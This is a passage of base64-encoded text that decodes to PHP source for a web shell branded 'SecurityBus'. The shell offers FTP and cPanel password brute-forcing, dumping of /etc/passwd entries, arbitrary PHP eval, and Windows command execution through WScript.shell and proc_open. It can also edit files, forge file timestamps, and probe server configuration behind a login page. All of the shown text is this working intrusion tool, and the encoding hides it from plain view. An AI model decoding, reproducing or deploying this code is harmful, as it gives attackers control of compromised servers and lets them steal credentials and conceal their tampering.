JMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOw0KY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsNCiRkYXRhID0gY3VybF9leGVjKCRjaCk7DQppZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsNCnByaW50ICI8Yj4gRXJyb3IgOiBDb25uZWN0aW9uIHRpbWVkIG91dCAsIG1ha2UgY29uZmlkZW5jZSBhYm91dCB2YWxpZGF0aW9uIG9mIHRhcmdldCAhPC9iPiI7DQpleGl0O30NCmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAwICl7DQoNCnAoIjxiPlsgczRmM3czYkB5YWhvby5jb20gXSMgPC9iPjxiPkF0dGFja2luZyBoYXMgYmVlbiBkb25lITwvYT4gVXNlcm5hbWU6IDxmb250IGNvbG9yPScjRkYwMDAwJz4gJHVzZXIgPC9mb250PiAvIFBhc3N3b3JkOjxmb250IGNvbG9yPScjRkYwMDAwJz4gJHBhc3MgPC9mb250PjwvYj48YnI+Iik7fWN1cmxfY2xvc2UoJGNoKTt9DQoNCmlmKGlzc2V0KCRzdWJtaXQpICYmICFlbXB0eSgkc3VibWl0KSl7DQoNCiR1c2VybGlzdCA9IGV4cGxvZGUgKCJcbiIgLCAkdXNlcnMgKTsNCiRwYXNzbGlzdCA9IGV4cGxvZGUgKCJcbiIgLCAkcGFzcyApOw0KcCgnPGI+WyBzNGYzdzNiQHlhaG9vLmNvbSBdIyBBdHRhY2tpbmcgLi4uPC9mb250PjwvYj48YnI+Jyk7DQpmb3JlYWNoICgkdXNlcmxpc3QgYXMgJHVzZXIpIHsNCiRfdXNlciA9IHRyaW0oJHVzZXIpOw0KZm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHsNCiRfcGFzcyA9IHRyaW0oJHBhc3N3b3JkKTsNCmlmKCRvcHRpb24gPT0gImZ0cCIpew0KZnRwX2NoZWNrKCR0YXJnZXQsJF91c2VyLCRfcGFzcywkY29ubmVjdF90aW1lb3V0KTsNCn0NCmlmICgkb3B0aW9uID09ICJjcGFuZWwiKQ0Kew0KY3BhbmVsX2NoZWNrKCR0YXJnZXQsJF91c2VyLCRfcGFzcywkY29ubmVjdF90aW1lb3V0KTsNCn0NCn0NCn0NCn0NCg0KCWZvcm1mb290KCk7DQp9DQoNCg0KDQoNCg0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2V0Y3B3ZCcpIHsNCmZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidHZXQgL2V0Yy9wYXNzd2QnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2V0Y3B3ZCcpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCiRpID0gMDsNCiBlY2hvICI8cD48YnI+PHRleHRhcmVhIGNsYXNzPVwiYXJlYVwiIGlkPVwicGhwY29kZXh4eFwiIG5hbWU9XCJwaHBjb2RleHh4XCIgY29scz1cIjEwMFwiIHJvd3M9XCIyNVwiPiI7DQp3aGlsZSAoJGkgPCA2MDAwMCkgew0KDQogICAgJGxpbmUgPSBwb3NpeF9nZXRwd3VpZCgkaSk7DQogICAgaWYgKCFlbXB0eSgkbGluZSkpIHsNCg0KICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZiYV9ldGNwd2QpID0gZWFjaCgkbGluZSkpew0KICAgICAgICAgICAgZWNobyAiIi4kdmJhX2V0Y3B3ZC4iXG4iOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgJGkrKzsNCn0NCiAgZWNobyAiPC90ZXh0YXJlYT48L3A+IjsNCglmb3JtZm9vdCgpOw0KfQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2V2YWwnKSB7DQoJJHBocGNvZGUgPSB0cmltKCRwaHBjb2RlKTsNCglpZigkcGhwY29kZSl7DQoJCWlmICghcHJlZ19tYXRjaCgnIzxcPyNzaScsICRwaHBjb2RlKSkgew0KCQkJJHBocGNvZGUgPSAiPD9waHBcblxueyRwaHBjb2RlfVxuXG4/PiI7DQoJCX0NCgkJZXZhbCgiPyIuIj4kcGhwY29kZTw/Iik7DQoJfQ0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFdmFsIFBIUCBDb2RlJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdldmFsJyk7DQoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J1BIUCBDb2RlJywnbmFtZSc9PidwaHBjb2RlJywgJ3ZhbHVlJz0+JHBocGNvZGUpKTsNCglwKCc8cD48YSBocmVmPSJodHRwOi8vd3d3LjRuZ2VsLm5ldC9waHBzcHkvcGx1Z2luLyIgdGFyZ2V0PSJfYmxhbmsiPkdldCBwbHVnaW5zPC9hPjwvcD4nKTsNCglmb3JtZm9vdGVyKCk7DQp9Ly9lbmQgZXZhbA0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2VkaXRmaWxlJykgew0KCWlmKGZpbGVfZXhpc3RzKCRvcGZpbGUpKSB7DQoJCSRmcD1AZm9wZW4oJG9wZmlsZSwncicpOw0KCQkkY29udGVudHM9QGZyZWFkKCRmcCwgZmlsZXNpemUoJG9wZmlsZSkpOw0KCQlAZmNsb3NlKCRmcCk7DQoJCSRjb250ZW50cz1odG1sc3BlY2lhbGNoYXJzKCRjb250ZW50cyk7DQoJfQ0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDcmVhdGUgLyBFZGl0IEZpbGUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IEZpbGUgKGltcG9ydCBuZXcgZmlsZSBuYW1lIGFuZCBuZXcgZmlsZSknLCduYW1lJz0+J2VkaXRmaWxlbmFtZScsJ3ZhbHVlJz0+JG9wZmlsZSwnbmV3bGluZSc9PjEpKTsNCgltYWtldGV4dChhcnJheSgndGl0bGUnPT4nRmlsZSBDb250ZW50JywnbmFtZSc9PidmaWxlY29udGVudCcsJ3ZhbHVlJz0+JGNvbnRlbnRzKSk7DQoJZm9ybWZvb3RlcigpOw0KfS8vZW5kIGVkaXRmaWxlDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnbmV3dGltZScpIHsNCgkkb3BmaWxlbXRpbWUgPSBAZmlsZW10aW1lKCRvcGZpbGUpOw0KCS8vJHRpbWUgPSBzdHJ0b3RpbWUoIiR5ZWFyLSRtb250aC0kZGF5ICRob3VyOiRtaW51dGU6JHNlY29uZCIpOw0KCSRjYWNoZW1vbnRoID0gYXJyYXkoJ0phbnVhcnknPT4xLCdGZWJydWFyeSc9PjIsJ01hcmNoJz0+MywnQXByaWwnPT40LCdNYXknPT41LCdKdW5lJz0+NiwnSnVseSc9PjcsJ0F1Z3VzdCc9PjgsJ1NlcHRlbWJlcic9PjksJ09jdG9iZXInPT4xMCwnTm92ZW1iZXInPT4xMSwnRGVjZW1iZXInPT4xMik7DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0Nsb25lIGZpbGUgd2FzIGxhc3QgbW9kaWZpZWQgdGltZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0FsdGVyIGZpbGUnLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidSZWZlcmVuY2UgZmlsZSAoZnVsbHBhdGgpJywnbmFtZSc9Pid0YXJmaWxlJywnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsNCglmb3JtZm9vdGVyKCk7DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NldCBsYXN0IG1vZGlmaWVkJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ3VycmVudCBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7DQoJcCgnPHA+SW5zdGVhZCAmcmFxdW87Jyk7DQoJcCgneWVhcjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neWVhcicsJ3ZhbHVlJz0+ZGF0ZSgnWScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjQpKTsNCglwKCdtb250aDonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbW9udGgnLCd2YWx1ZSc9PmRhdGUoJ20nLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoJcCgnZGF5OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYXknLCd2YWx1ZSc9PmRhdGUoJ2QnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoJcCgnaG91cjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4naG91cicsJ3ZhbHVlJz0+ZGF0ZSgnSCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCdtaW51dGU6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21pbnV0ZScsJ3ZhbHVlJz0+ZGF0ZSgnaScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCdzZWNvbmQ6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3NlY29uZCcsJ3ZhbHVlJz0+ZGF0ZSgncycsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3RlcigpOw0KfS8vZW5kIG5ld3RpbWUNCg0KZWxzZWlmICgkYWN0aW9uID09ICdzaGVsbCcpIHsNCglpZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQlpZigkcHJvZ3JhbSAmJiAkcGFyYW1ldGVyKSB7DQoJCQkkc2hlbGw9IG5ldyBDT00oJ1NoZWxsLkFwcGxpY2F0aW9uJyk7DQoJCQkkYSA9ICRzaGVsbC0+U2hlbGxFeGVjdXRlKCRwcm9ncmFtLCRwYXJhbWV0ZXIpOw0KCQkJbSgnUHJvZ3JhbSBydW4gaGFzICcuKCEkYSA/ICdzdWNjZXNzJyA6ICdmYWlsJykpOw0KCQl9DQoJCSEkcHJvZ3JhbSAmJiAkcHJvZ3JhbSA9ICdjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUnOw0KCQkhJHBhcmFtZXRlciAmJiAkcGFyYW1ldGVyID0gJy9jIG5ldCBzdGFydCA+ICcuU0FfUk9PVC4nbG9nLnR4dCc7DQoJCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFeGVjdXRlIFByb2dyYW0nKSk7DQoJCW1ha2VoaWRlKCdhY3Rpb24nLCdzaGVsbCcpOw0KCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1Byb2dyYW0nLCduYW1lJz0+J3Byb2dyYW0nLCd2YWx1ZSc9PiRwcm9ncmFtLCduZXdsaW5lJz0+MSkpOw0KCQlwKCc8cD4nKTsNCgkJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQYXJhbWV0ZXInLCduYW1lJz0+J3BhcmFtZXRlcicsJ3ZhbHVlJz0+JHBhcmFtZXRlcikpOw0KCQltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUnKSk7DQoJCXAoJzwvcD4nKTsNCgkJZm9ybWZvb3QoKTsNCgl9DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgQ29tbWFuZCcpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsNCglpZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQkkZXhlY2Z1bmNkYiA9IGFycmF5KCdwaHBmdW5jJz0+J3BocGZ1bmMnLCd3c2NyaXB0Jz0+J3dzY3JpcHQnLCdwcm9jX29wZW4nPT4ncHJvY19vcGVuJyk7DQoJCW1ha2VzZWxlY3QoYXJyYXkoJ3RpdGxlJz0+J1VzZTonLCduYW1lJz0+J2V4ZWNmdW5jJywnb3B0aW9uJz0+JGV4ZWNmdW5jZGIsJ3NlbGVjdGVkJz0+JGV4ZWNmdW5jLCduZXdsaW5lJz0+MSkpOw0KCX0NCglwKCc8cD4nKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0NvbW1hbmQnLCduYW1lJz0+J2NvbW1hbmQnLCd2YWx1ZSc9PiRjb21tYW5kKSk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOw0KCXAoJzwvcD4nKTsNCglmb3JtZm9vdCgpOw0KDQoJaWYgKCRjb21tYW5kKSB7DQoJCXAoJzxociB3aWR0aD0iMTAwJSIgbm9zaGFkZSAvPjxwcmU+Jyk7DQoJCWlmICgkZXhlY2Z1bmM9PSd3c2NyaXB0JyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7DQoJCQkkd3NoID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOw0KCQkJJGV4ZWMgPSAkd3NoLT5leGVjKCdjbWQuZXhlIC9jICcuJGNvbW1hbmQpOw0KCQkJJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsNCgkJCSRzdHJvdXRwdXQgPSAkc3Rkb3V0LT5SZWFkQWxsKCk7DQoJCQllY2hvICRzdHJvdXRwdXQ7DQoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSdwcm9jX29wZW4nICYmIElTX1dJTiAmJiBJU19DT00pIHsNCgkJCSRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KA0KCQkJICAgMCA9PiBhcnJheSgncGlwZScsICdyJyksDQoJCQkgICAxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwNCgkJCSAgIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpDQoJCQkpOw0KCQkJJHByb2Nlc3MgPSBwcm9jX29wZW4oJF9TRVJWRVJbJ0NPTVNQRUMnXSwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOw0KCQkJaWYgKGlzX3Jlc291cmNlKCRwcm9jZXNzKSkgew0KCQkJCWZ3cml0ZSgkcGlwZXNbMF0sICRjb21tYW5kLiJcclxuIik7DQoJCQkJZndyaXRlKCRwaXBlc1swXSwgImV4aXRcclxuIik7DQoJCQkJZmNsb3NlKCRwaXBlc1swXSk7DQoJCQkJd2hpbGUgKCFmZW9mKCRwaXBlc1sxXSkpIHsNCgkJCQkJZWNobyBmZ2V0cygkcGlwZXNbMV0sIDEwMjQpOw0KCQkJCX0NCgkJCQlmY2xvc2UoJHBpcGVzWzFdKTsNCgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzJdKSkgew0KCQkJCQllY2hvIGZnZXRzKCRwaXBlc1syXSwgMTAyNCk7DQoJCQkJfQ0KCQkJCWZjbG9zZSgkcGlwZXNbMl0pOw0KCQkJCXByb2NfY2xvc2UoJHByb2Nlc3MpOw0KCQkJfQ0KCQl9IGVsc2Ugew0KCQkJZWNobyhleGVjdXRlKCRjb21tYW5kKSk7DQoJCX0NCgkJcCgnPC9wcmU+Jyk7DQoJfQ0KfS8vZW5kIHNoZWxsDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAncGhwZW52Jykgew0KCSR1cHNpemU9Z2V0Y2ZnKCdmaWxlX3VwbG9hZHMnKSA/IGdldGNmZygndXBsb2FkX21heF9maWxlc2l6ZScpIDogJ05vdCBhbGxvd2VkJzsNCgkkYWRtaW5tYWlsPWlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkgPyAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gOiBnZXRjZmcoJ3NlbmRtYWlsX2Zyb20nKTsNCgkhJGRpc19mdW5jICYmICRkaXNfZnVuYyA9ICdObyc7DQoJJGluZm8gPSBhcnJheSgNCgkJMSA9PiBhcnJheSgnU2VydmVyIFRpbWUnLGRhdGUoJ1kvbS9kIGg6aTpzJywkdGltZXN0YW1wKSksDQoJCTIgPT4gYXJyYXkoJ1NlcnZlciBEb21haW4nLCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSwNCgkJMyA9PiBhcnJheSgnU2VydmVyIElQJyxnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSksDQoJCTQgPT4gYXJyYXkoJ1NlcnZlciBPUycsUEhQX09TKSwNCgkJNSA9PiBhcnJheSgnU2VydmVyIE9TIENoYXJzZXQnLCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSwNCgkJNiA9PiBhcnJheSgnU2VydmVyIFNvZnR3YXJlJywkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLA0KCQk3ID0+IGFycmF5KCdTZXJ2ZXIgV2ViIFBvcnQnLCRfU0VSVkVSWydTRVJWRVJfUE9SVCddKSwNCgkJOCA9PiBhcnJheSgnUEhQIHJ1biBtb2RlJyxzdHJ0b3VwcGVyKHBocF9zYXBpX25hbWUoKSkpLA0KCQk5ID0+IGFycmF5KCdUaGUgZmlsZSBwYXRoJyxfX0ZJTEVfXyksDQoNCgkJMTAgPT4gYXJyYXkoJ1BIUCBWZXJzaW9uJyxQSFBfVkVSU0lPTiksDQoJCTExID0+IGFycmF5KCdQSFBJTkZPJywoSVNfUEhQSU5GTyA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKFwncGhwaW5mb1wnKTsiPlllczwvYT4nIDogJ05vJykpLA0KCQkxMiA9PiBhcnJheSgnU2FmZSBNb2RlJyxnZXRjZmcoJ3NhZmVfbW9kZScpKSwNCgkJMTMgPT4gYXJyYXkoJ0FkbWluaXN0cmF0b3InLCRhZG1pbm1haWwpLA0KCQkxNCA9PiBhcnJheSgnYWxsb3dfdXJsX2ZvcGVuJyxnZXRjZmcoJ2FsbG93X3VybF9mb3BlbicpKSwNCgkJMTUgPT4gYXJyYXkoJ2VuYWJsZV9kbCcsZ2V0Y2ZnKCdlbmFibGVfZGwnKSksDQoJCTE2ID0+IGFycmF5KCdkaXNwbGF5X2Vycm9ycycsZ2V0Y2ZnKCdkaXNwbGF5X2Vycm9ycycpKSwNCgkJMTcgPT4gYXJyYXkoJ3JlZ2lzdGVyX2dsb2JhbHMnLGdldGNmZygncmVnaXN0ZXJfZ2xvYmFscycpKSwNCgkJMTggPT4gYXJyYXkoJ21hZ2ljX3F1b3Rlc19ncGMnLGdldGNmZygnbWFnaWNfcXVvdGVzX2dwYycpKSwNCgkJMTkgPT4gYXJyYXkoJ21lbW9yeV9saW1pdCcsZ2V0Y2ZnKCdtZW1vcnlfbGltaXQnKSksDQoJCTIwID0+IGFycmF5KCdwb3N0X21heF9zaXplJyxnZXRjZmcoJ3Bvc3RfbWF4X3NpemUnKSksDQoJCTIxID0+IGFycmF5KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywkdXBzaXplKSwNCgkJMjIgPT4gYXJyYXkoJ21heF9leGVjdXRpb25fdGltZScsZ2V0Y2ZnKCdtYXhfZXhlY3V0aW9uX3RpbWUnKS4nIHNlY29uZChzKScpLA0KCQkyMyA9PiBhcnJheSgnZGlzYWJsZV9mdW5jdGlvbnMnLCRkaXNfZnVuYyksDQoJKTsNCg0KCWlmKCRwaHB2YXJuYW1lKSB7DQoJCW0oJHBocHZhcm5hbWUgLicgOiAnLmdldGNmZygkcGhwdmFybmFtZSkpOw0KCX0NCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXJ2ZXIgZW52aXJvbm1lbnQnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3BocGVudicpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGxlYXNlIGlucHV0IFBIUCBjb25maWd1cmF0aW9uIHBhcmFtZXRlcihlZzptYWdpY19xdW90ZXNfZ3BjKScsJ25hbWUnPT4ncGhwdmFybmFtZScsJ3ZhbHVlJz0+JHBocHZhcm5hbWUsJ25ld2xpbmUnPT4xKSk7DQoJZm9ybWZvb3RlcigpOw0KDQoJJGhwID0gYXJyYXkoMD0+ICdTZXJ2ZXInLCAxPT4gJ1BIUCcpOw0KCWZvcigkYT0wOyRhPDI7JGErKykgew0KCQlwKCc8aDI+Jy4kaHBbJGFdLicgJnJhcXVvOzwvaDI+Jyk7DQoJCXAoJzx1bCBjbGFzcz0iaW5mbyI+Jyk7DQoJCWlmICgkYT09MCkgew0KCQkJZm9yKCRpPTE7JGk8PTk7JGkrKykgew0KCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsNCgkJCX0NCgkJfSBlbHNlaWYgKCRhID09IDEpIHsNCgkJCWZvcigkaT0xMDskaTw9MjM7JGkrKykgew0KCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsNCgkJCX0NCgkJfQ0KCQlwKCc8L3VsPicpOw0KCX0NCn0vL2VuZCBwaHBlbnYNCg0KZWxzZSB7DQoJbSgnVW5kZWZpbmVkIEFjdGlvbicpOw0KfQ0KDQo/Pg0KPC90ZD48L3RyPjwvdGFibGU+DQo8ZGl2IHN0eWxlPSJwYWRkaW5nOjEwcHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzBFMEUwRTtib3JkZXItdG9wOjFweCBzb2xpZCAjMEUwRTBFO2JhY2tncm91bmQ6IzBFMEUwRTsiPg0KCTxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPjw/cGhwIGRlYnVnaW5mbygpO29iX2VuZF9mbHVzaCgpOz8+PC9zcGFuPg0KCUNvcHlyaWdodCAoQykgMjAxNTxzdHJvbmc+IFNlY3VyaXR5QnVzIC0gPC9zdHJvbmc+QWxsIFJpZ2h0cyBSZXNlcnZlZC48L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4NCg0KPD9waHANCg0KLyo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NClNob3cgaW5mbyBzaGVsbA0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8NCg0KZnVuY3Rpb24gbSgkbXNnKSB7DQoJZWNobyAnPGRpdiBzdHlsZT0iYmFja2dyb3VuZDojZjFmMWYxO2JvcmRlcjoxcHggc29saWQgI2RkZDtwYWRkaW5nOjE1cHg7Zm9udDoxNHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7Ij4nOw0KCWVjaG8gJG1zZzsNCgllY2hvICc8L2Rpdj4nOw0KfQ0KZnVuY3Rpb24gc2Nvb2tpZSgka2V5LCAkdmFsdWUsICRsaWZlID0gMCwgJHByZWZpeCA9IDEpIHsNCglnbG9iYWwgJGFkbWluLCAkdGltZXN0YW1wLCAkX1NFUlZFUjsNCgkka2V5ID0gKCRwcmVmaXggPyAkYWRtaW5bJ2Nvb2tpZXByZSddIDogJycpLiRrZXk7DQoJJGxpZmUgPSAkbGlmZSA/ICRsaWZlIDogJGFkbWluWydjb29raWVsaWZlJ107DQoJJHVzZXBvcnQgPSAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA0NDMgPyAxIDogMDsNCglzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGltZXN0YW1wKyRsaWZlLCAkYWRtaW5bJ2Nvb2tpZXBhdGgnXSwgJGFkbWluWydjb29raWVkb21haW4nXSwgJHVzZXBvcnQpOw0KfQ0KZnVuY3Rpb24gbXVsdGkoJG51bSwgJHBlcnBhZ2UsICRjdXJwYWdlLCAkdGFibGVuYW1lKSB7DQoJJG11bHRpcGFnZSA9ICcnOw0KCWlmKCRudW0gPiAkcGVycGFnZSkgew0KCQkkcGFnZSA9IDEwOw0KCQkkb2Zmc2V0ID0gNTsNCgkJJHBhZ2VzID0gQGNlaWwoJG51bSAvICRwZXJwYWdlKTsNCgkJaWYoJHBhZ2UgPiAkcGFnZXMpIHsNCgkJCSRmcm9tID0gMTsNCgkJCSR0byA9ICRwYWdlczsNCgkJfSBlbHNlIHsNCgkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkb2Zmc2V0Ow0KCQkJJHRvID0gJGN1cnBhZ2UgKyAkcGFnZSAtICRvZmZzZXQgLSAxOw0KCQkJaWYoJGZyb20gPCAxKSB7DQoJCQkJJHRvID0gJGN1cnBhZ2UgKyAxIC0gJGZyb207DQoJCQkJJGZyb20gPSAxOw0KCQkJCWlmKCgkdG8gLSAkZnJvbSkgPCAkcGFnZSAmJiAoJHRvIC0gJGZyb20pIDwgJHBhZ2VzKSB7DQoJCQkJCSR0byA9ICRwYWdlOw0KCQkJCX0NCgkJCX0gZWxzZWlmKCR0byA+ICRwYWdlcykgew0KCQkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkcGFnZXMgKyAkdG87DQoJCQkJJHRvID0gJHBhZ2VzOw0KCQkJCWlmKCgkdG8gLSAkZnJvbSkgPCAkcGFnZSAmJiAoJHRvIC0gJGZyb20pIDwgJHBhZ2VzKSB7DQoJCQkJCSRmcm9tID0gJHBhZ2VzIC0gJHBhZ2UgKyAxOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkbXVsdGlwYWdlID0gKCRjdXJwYWdlIC0gJG9mZnNldCA+IDEgJiYgJHBhZ2VzID4gJHBhZ2UgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsIDEpOyI+Rmlyc3Q8L2E+ICcgOiAnJykuKCRjdXJwYWdlID4gMSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2UgLSAxKS4nKTsiPlByZXY8L2E+ICcgOiAnJyk7DQoJCWZvcigkaSA9ICRmcm9tOyAkaSA8PSAkdG87ICRpKyspIHsNCgkJCSRtdWx0aXBhZ2UgLj0gJGkgPT0gJGN1cnBhZ2UgPyAkaS4nICcgOiAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJGkuJyk7Ij5bJy4kaS4nXTwvYT4gJzsNCgkJfQ0KCQkkbXVsdGlwYWdlIC49ICgkY3VycGFnZSA8ICRwYWdlcyA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2UgKyAxKS4nKTsiPk5leHQ8L2E+JyA6ICcnKS4oJHRvIDwgJHBhZ2VzID8gJyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4kcGFnZXMuJyk7Ij5MYXN0PC9hPicgOiAnJyk7DQoJCSRtdWx0aXBhZ2UgPSAkbXVsdGlwYWdlID8gJzxwPlBhZ2VzOiAnLiRtdWx0aXBhZ2UuJzwvcD4nIDogJyc7DQoJfQ0KCXJldHVybiAkbXVsdGlwYWdlOw0KfQ0KLy8gTG9naW4gcGFnZQ0KZnVuY3Rpb24gbG9naW5wYWdlKCkgew0KPz4NCjxodG1sPg0KPGhlYWQ+DQoNCjxib2R5IGJnY29sb3I9YmxhY2sgYmFja2dyb3VuZD1odHRwOi8vaTExMjQucGhvdG9idWNrZXQuY29tL2FsYnVtcy9sNTc1L2dpdmF5L3RoX21hdHJpeC5naWY+DQoNCgkJPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiIC8+DQo8dGl0bGU+U2VjdXJpdHlCdXM8L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCkE6bGluayB7dGV4dC1kZWNvcmF0aW9uOiBub25lOyBjb2xvcjogZ3JlZW4gfQ0KQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6cmVkfQ0KQTphY3RpdmUge3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCkE6aG92ZXIge3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyBj